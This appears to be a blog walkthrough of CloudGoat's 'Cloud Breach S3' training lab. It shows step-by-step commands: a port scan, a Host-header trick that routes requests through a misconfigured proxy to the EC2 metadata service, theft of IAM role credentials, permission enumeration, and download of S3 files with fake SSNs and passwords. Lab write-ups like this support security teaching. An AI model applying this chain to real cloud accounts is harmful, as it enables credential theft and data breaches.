CloudGoat’s fourth scenario, “Cloud Breach S3”, is a short and easy scenario that demonstrates abuse of the EC2 metadata service. For once, we do not start off with an IAM user’s access keys. Instead, we are given the IP address of a reverse proxy server that has been poorly configured and are tasked with simulating a data breach. The server’s permission set allows us to query the EC2 metadata service, which leads to an account compromise, as we can read an IAM user’s access keys. From there, we are able to enumerate the user’s allowed actions within the AWS account and find that they can read S3 buckets. One of the S3 buckets is found to have sensitive cardholder data, so we download all of its files to our local machine and ruin this fake company’s day. Let’s get to work.
Exploring the Reverse Proxy Server
Before You Begin: This scenario deploys an EC2 instance and uses the IP address you whitelist in your CloudGoat configuration as a part of the setup. It is always a good idea to run “./cloudgoat.py config whitelist –auto” in the case your IP address has changed due to a change in physical location or other means. If your current IP address does not match what is listed in the configuration file, deploying the scenario will partially fail.
We’ll start off by checking the scenario’s start file, which includes the target EC2 server’s IP address.
┌──(mr-b4rt0wsk1㉿kali)-[~/cloudgoat]
└─$ cat cloud_breach_s3_cgidxoyxm9gxk9/start.txt
cloudgoat_output_aws_account_id = [REDACTED]
cloudgoat_output_target_ec2_server_ip = [YOUR_EC2_IP]
To get a better understanding of what we may be dealing with, we will conduct a port scan. The scan reveals that the open ports on this server are SSH (port 22) and HTTP (port 80).
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/cloud_breach_s3]
└─$ sudo nmap -sC -sV -oN nmap-cloud-breach-s3 [YOUR_EC2_IP]
[sudo] password for mr-b4rt0wsk1:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-10 08:49 CST
Nmap scan report for ec2-[YOUR_EC2_IP].compute-1.amazonaws.com ([YOUR_EC2_IP])
Host is up (0.016s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 96:1e:89:11:ef:bb:de:28:dd:3e:76:b7:2a:bb:f2:9f (RSA)
| 256 ac:64:16:7e:7d:bf:b8:49:46:4b:48:d2:a5:80:30:68 (ECDSA)
|_ 256 f1:fa:fc:ff:34:08:37:81:c9:9e:ed:2e:f1:75:6f:10 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-title: Site doesn't have a title (application/octet-stream).
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.07 seconds
Let’s check out what’s running on the HTTP port. A simple curl request should do the trick.
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/cloud_breach_s3]
└─$ curl -v http://[YOUR_EC2_IP]
* Trying [YOUR_EC2_IP]:80...
* Connected to [YOUR_EC2_IP] ([YOUR_EC2_IP]) port 80 (#0)
> GET / HTTP/1.1
> Host: [YOUR_EC2_IP]
> User-Agent: curl/7.85.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 400 Bad Request
< Server: nginx/1.14.0 (Ubuntu)
< Date: Thu, 10 Nov 2022 14:51:23 GMT
< Content-Type: application/octet-stream
< Content-Length: 139
< Connection: keep-alive
<
* Connection #0 to host [YOUR_EC2_IP] left intact
This server is configured to proxy requests to the EC2 metadata service. Please modify your request's 'host' header and try again.
We are greeted with a 400 Bad Request error in the response. As conveniently mentioned by the content of the page, the server is configured to proxy requests to the EC2 metadata service, so we’ll need to include a ‘host’ header in our requests if we want to query the service and not get this error message.
From reading Amazon’s documentation, we see that the IP address of the metadata service is 169.254.169.254. This is the value we’ll include in our ‘host’ header.
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/cloud_breach_s3]
└─$ curl -H "Host: 169.254.169.254" http://[YOUR_EC2_IP]
1.0
2007-01-19
2007-03-01
2007-08-29
2007-10-10
2007-12-15
2008-02-01
2008-09-01
2009-04-04
2011-01-01
2011-05-01
2012-01-12
2014-02-25
2014-11-05
2015-10-20
2016-04-19
2016-06-30
2016-09-02
2018-03-28
2018-08-17
2018-09-24
2019-10-01
2020-10-27
2021-01-03
2021-03-23
2021-07-15
2022-07-09
2022-09-24
latest
Great! We are no longer getting the error and are getting directories from the metadata service. After poking around the different folders using curl, we find credentials for an IAM role.
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/cloud_breach_s3]
└─$ curl -H "Host: 169.254.169.254" http://[YOUR_EC2_IP]/latest/meta-data/iam/security-credentials/cg-banking-WAF-Role-cloud_breach_s3_cgidxoyxm9gxk9
{
"Code" : "Success",
"LastUpdated" : "2022-11-10T14:44:15Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "AKIAIOSFODNN7EXAMPLE",
"SecretAccessKey" : "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"Token" : "[REDACTED]",
"Expiration" : "2022-11-10T21:19:27Z"
}
Enumerating IAM Permissions
Of course, the next thing we want to do is slap these into our credentials file so that we can start using them. It’s important to include the lengthy session token in the credentials file, which I’ve redacted for security purposes and also for brevity.
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/cloud_breach_s3]
└─$ vi ~/.aws/credentials
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/cloud_breach_s3]
└─$ cat ~/.aws/credentials
[default]
...SNIP...
[stolen_creds]
aws_access_key_id = AKIAIOSFODNN7EXAMPLE
aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
aws_session_token = [REDACTED]
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/cloud_breach_s3]
└─$ aws --profile stolen_creds sts get-caller-identity
{
"UserId": "AROA3UTIROIQRZKNLRJHR:i-0f1222d121bb30729",
"Account": "[REDACTED]",
"Arn": "arn:aws:sts::[REDACTED]:assumed-role/cg-banking-WAF-Role-cloud_breach_s3_cgidxoyxm9gxk9/i-0f1222d121bb30729"
}
We can use an open source AWS enumeration tool called enumerate-iam to help us list the different permissions this account has. To run it, clone the tool and install its requirements. I’ve found that it runs better and more consistently if the maximum number of attempts is reduced to 5 on line 129 of main.py. Feel free to edit the file locally before running it.
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir]
└─$ git clone https://github.com/andresriancho/enumerate-iam.git
Cloning into 'enumerate-iam'...
remote: Enumerating objects: 56, done.
remote: Total 56 (delta 0), reused 0 (delta 0), pack-reused 56
Receiving objects: 100% (56/56), 33.63 KiB | 506.00 KiB/s, done.
Resolving deltas: 100% (25/25), done.
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir]
└─$ cd enumerate-iam
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/enumerate-iam]
└─$ ls
enumerate_iam enumerate-iam.py LICENSE README.md requirements.txt
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/enumerate-iam]
└─$ pip install -r requirements.txt
Defaulting to user installation because normal site-packages is not writeable
...SNIP...
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/enumerate-iam]
└─$ ./enumerate-iam.py --access-key AKIAIOSFODNN7EXAMPLE --secret-key wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY --session-token [REDACTED]
2022-11-10 09:12:41,926 - 16497 - [INFO] Starting permission enumeration for access-key-id "AKIAIOSFODNN7EXAMPLE"
2022-11-10 09:12:42,554 - 16497 - [INFO] -- Account ARN : arn:aws:sts::[REDACTED]:assumed-role/cg-banking-WAF-Role-cloud_breach_s3_cgidxoyxm9gxk9/i-0f1222d121bb30729
2022-11-10 09:12:42,555 - 16497 - [INFO] -- Account Id : [REDACTED]
2022-11-10 09:12:42,555 - 16497 - [INFO] -- Account Path: assumed-role/cg-banking-WAF-Role-cloud_breach_s3_cgidxoyxm9gxk9/i-0f1222d121bb30729
2022-11-10 09:12:43,487 - 16497 - [INFO] Attempting common-service describe / list brute force.
2022-11-10 09:12:49,532 - 16497 - [INFO] -- s3.list_buckets() worked!
2022-11-10 09:12:53,924 - 16497 - [INFO] -- sts.get_caller_identity() worked!
2022-11-10 09:12:55,527 - 16497 - [INFO] -- dynamodb.describe_endpoints() worked!
One thing we notice from the enumeration script is that this role can list S3 buckets, so let’s try that out next.
Extracting Data From the S3 Bucket
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/cloud_breach_s3]
└─$ aws --profile stolen_creds s3 ls
2022-11-10 08:44:09 cg-cardholder-data-bucket-cloud-breach-s3-cgidxoyxm9gxk9
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/cloud_breach_s3]
└─$ aws --profile stolen_creds s3 ls s3://cg-cardholder-data-bucket-cloud-breach-s3-cgidxoyxm9gxk9
2022-11-10 08:44:11 58872 cardholder_data_primary.csv
2022-11-10 08:44:11 59384 cardholder_data_secondary.csv
2022-11-10 08:44:11 92165 cardholders_corporate.csv
2022-11-10 08:44:11 249500 goat.png
After listing out the contents of the only bucket available, it looks like we’ve come across some cardholder data! Let’s download it and see what it contains.
# You can copy each file by issuing a command like this
# aws --profile stolen_creds s3 s3://
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/cloud_breach_s3]
└─$ ls -la
total 468
drwxr-xr-x 2 mr-b4rt0wsk1 mr-b4rt0wsk1 4096 Nov 10 09:17 .
drwxr-xr-x 6 mr-b4rt0wsk1 mr-b4rt0wsk1 4096 Nov 10 09:07 ..
-rw-r--r-- 1 mr-b4rt0wsk1 mr-b4rt0wsk1 58872 Nov 10 08:44 cardholder_data_primary.csv
-rw-r--r-- 1 mr-b4rt0wsk1 mr-b4rt0wsk1 59384 Nov 10 08:44 cardholder_data_secondary.csv
-rw-r--r-- 1 mr-b4rt0wsk1 mr-b4rt0wsk1 92165 Nov 10 08:44 cardholders_corporate.csv
-rw-r--r-- 1 mr-b4rt0wsk1 mr-b4rt0wsk1 249500 Nov 10 08:44 goat.png
-rw-r--r-- 1 root root 987 Nov 10 08:49 nmap-cloud-breach-s3
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/cloud_breach_s3]
└─$ head cardholder_data_primary.csv
ssn,id,first_name,last_name,email,gender,ip_address,address,city,state,zip
287-43-8531,1,Cooper,Luffman,cluffman0@nifty.com,Male,194.222.101.195,2 Killdeer Way,Atlanta,Georgia,30343
892-80-0931,2,Grata,Pulteneye,gpulteneye1@taobao.com,Female,161.4.88.129,486 Butterfield Crossing,Washington,District of Columbia,20503
502-50-6643,3,Rogerio,Glover,rglover2@nps.gov,Male,88.58.129.152,3 Granby Circle,Sacramento,California,94280
238-57-8444,4,Melisandra,Gunstone,mgunstone3@gnu.org,Female,56.162.161.35,68294 Schiller Lane,Washington,District of Columbia,20319
127-05-5515,5,Michail,McKune,mmckune4@sina.com.cn,Male,69.210.227.104,2 Bayside Way,Birmingham,Alabama,35263
214-11-1791,6,Bari,Mont,bmont5@vkontakte.ru,Female,208.57.174.207,6837 Sugar Court,Los Angeles,California,90015
501-58-1290,7,Sollie,Angear,sangear6@disqus.com,Male,39.78.158.172,0 Portage Center,Hartford,Connecticut,6145
242-23-0804,8,Retha,Dyka,rdyka7@facebook.com,Female,254.159.96.156,1 Sauthoff Lane,Pompano Beach,Florida,33064
898-84-8195,9,Nerissa,Thorwarth,nthorwarth8@oakley.com,Female,106.219.0.76,9248 Eagle Crest Point,Louisville,Kentucky,40287
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/cloud_breach_s3]
└─$ head cardholder_data_secondary.csv
ssn,id,first_name,last_name,email,gender,ip_address,address,city,state,zip
600-68-9537,500,Sarge,Cranefield,scranefielddv@nymag.com,Male,207.208.160.131,96 Drewry Drive,Saint Louis,Missouri,63104
382-64-3118,501,Max,Ivashintsov,mivashintsovdw@qq.com,Female,233.104.204.155,4484 Dexter Place,San Diego,California,92153
803-34-7166,502,Tuckie,Benza,tbenzadx@multiply.com,Male,29.185.138.68,1504 Park Meadow Road,Paterson,New Jersey,7544
334-69-6056,503,Faulkner,Oman,fomandy@usgs.gov,Male,57.114.154.235,02 Quincy Plaza,Corpus Christi,Texas,78465
721-45-4424,504,Beniamino,Gerardet,bgerardetdz@abc.net.au,Male,9.59.46.39,18017 Cherokee Point,Baton Rouge,Louisiana,70810
554-06-0939,505,Reginauld,Tristram,rtristrame0@histats.com,Male,243.247.180.73,0196 Manufacturers Court,Oakland,California,94660
759-41-3759,506,Upton,Wines,uwinese1@topsy.com,Male,252.242.161.223,611 Logan Park,Kansas City,Missouri,64130
891-61-6461,507,Ynes,Kleimt,ykleimte2@bbb.org,Female,138.145.39.19,291 Amoth Trail,Tulsa,Oklahoma,74156
160-29-6579,508,Weston,Tole,wtolee3@amazon.com,Male,168.211.230.66,626 Fieldstone Point,Orlando,Florida,32819
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/cloud_breach_s3]
└─$ head cardholders_corporate.csv
id,SSN,Corporate Account,first_name,last_name,password,email,gender,ip_address
1,387-31-4447,Skyba,Earle,Gathwaite,A53nIB6g,egathwaite0@edublogs.org,Male,149.213.19.178
2,460-81-1585,JumpXS,Helenelizabeth,Horsey,iGq5eZx,hhorsey1@friendfeed.com,Female,185.239.253.79
3,579-08-7651,Kayveo,Saudra,Adamowicz,AfHq0d6,sadamowicz2@posterous.com,Female,74.193.79.239
4,142-95-7518,Centimia,Renae,Prandini,PO3aGDbmJBir,rprandini3@microsoft.com,Female,239.58.123.127
5,648-85-5597,Skajo,Yvon,Pattie,v6yq4EDvI,ypattie4@bloomberg.com,Male,190.232.22.64
6,442-43-3581,Yombu,Lishe,Jost,H64cnC,ljost5@yolasite.com,Female,5.230.158.149
7,275-76-1659,Kamba,Rollin,Shillinglaw,1coH6RrJR,rshillinglaw6@infoseek.co.jp,Male,0.97.13.206
8,510-54-6554,Flashpoint,Jeri,John,Y6drWzFTROr,jjohn7@stumbleupon.com,Female,172.160.73.242
9,194-32-6403,Brainsphere,Rubina,Tellenbrook,UOe6WYi,rtellenbrook8@soundcloud.com,Female,202.108.122.201
Yikes – these CSV files contain PII of cardholders, including SSNs and passwords (all it is fake for the purposes of this lab). Our work here is done, as we have successfully caused a data breach and completed the scenario!
See you in the next post for the fifth scenario.
See you in the next post for the fifth scenario.